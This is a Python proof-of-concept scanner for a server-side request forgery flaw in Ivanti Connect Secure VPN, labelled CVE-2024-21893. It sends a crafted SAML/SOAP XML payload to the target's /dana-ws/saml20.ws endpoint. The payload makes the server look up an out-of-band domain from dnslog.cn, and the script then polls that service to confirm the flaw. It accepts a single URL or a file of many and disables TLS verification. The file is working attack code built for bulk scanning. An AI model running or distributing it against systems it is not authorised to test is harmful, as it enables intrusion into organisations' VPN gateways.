CVE-2024-21893_IvantiConnectSecureVPN_SSRF.py

import requests
import urllib3
import re,string,random
from urllib.parse import urljoin
import argparse
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    url = url.rstrip("/")
    taeget_url = urljoin(url, "/dana-ws/saml20.ws")
    try:
        headers = {
            "User-Agent": "Mozilla/2.0 (compatible; MSIE 3.01; Windows 95",
            "Content-Type": "text/xml"
        }
        getdomain = requests.get(url='http://dnslog.cn/getdomain.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30)
        domain = str(getdomain.text)
        data = f"""<?xml version="1.0" encoding="UTF-8"?>
      <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
            <ds:SignedInfo>
              <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
              <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
            </ds:SignedInfo>
            <ds:SignatureValue>dummy</ds:SignatureValue>
            <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig#">
              <ds:RetrievalMethod URI="http://test.{domain}"/>
              <ds:X509Data/>
            </ds:KeyInfo>
            <ds:Object></ds:Object>
          </ds:Signature>
    </soap:Body>
</soap:Envelope>"""
        requests.post(taeget_url, verify=False, headers=headers, data=data, timeout=15)
        for i in range(0, 3):
            refresh = requests.get(url='http://dnslog.cn/getrecords.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30)
            time.sleep(1)
            if domain in refresh.text:
                print(f"\033[31mDiscovered:{url}: CVE-2024-21893_IvantiConnectSecureVPN_SSRF!---domain_dns: test.{domain}\033[0m")
                return True
    except Exception as e:
        pass


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")